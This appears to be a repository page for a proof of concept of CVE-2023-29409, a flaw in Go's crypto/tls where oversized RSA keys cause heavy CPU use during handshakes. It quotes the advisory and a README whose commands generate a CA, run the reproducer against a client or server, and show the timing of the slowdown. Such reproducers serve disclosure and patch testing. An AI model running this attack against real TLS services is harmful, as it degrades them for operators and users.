CVE-2023-29409 PoC — Large RSA keys can cause high CPU usage in crypto/tls

Source

https://github.com/mateusz834/CVE-2023-29409

Associated Vulnerability

Title:Large RSA keys can cause high CPU usage in crypto/tls (CVE-2023-29409)
Description:Extremely large RSA keys in certificate chains can cause a client/server to expend significant CPU time verifying signatures. With fix, the size of RSA keys transmitted during handshakes is restricted to <= 8192 bits. Based on a survey of publicly trusted RSA keys, there are currently only three certificates in circulation with keys larger than this, and all three appear to be test certificates that are not actively deployed. It is possible there are larger keys in use in private PKIs, but we target the web PKI, so causing breakage here in the interests of increasing the default safety of users of crypto/tls seems reasonable.

Description

 CVE-2023-29409 reproducer

Readme

# CVE-2023-29409

```bash
$ openssl genrsa -out ca-key.pem 2048
$ openssl req -x509 -new -nodes -key ca-key.pem -sha256 -days 100000 -out ca.pem \
-addext 'keyUsage=keyCertSign' \
-subj '/CN=Root CA'
$ go run main.go server # (in the background)
$ go run main.go client # causes high cpu load on client
$ go run main.go client-auth # causes high cpu load on the server
```

```bash
$ time go run main.go client
tls: invalid signature by the server certificate: crypto/rsa: verification error

real    0m13,160s
user    0m13,328s
sys     0m0,101s

$ time go run main.go client-auth
<nil>

real    0m10,985s
user    0m0,255s
sys     0m0,044s
```

File Snapshot

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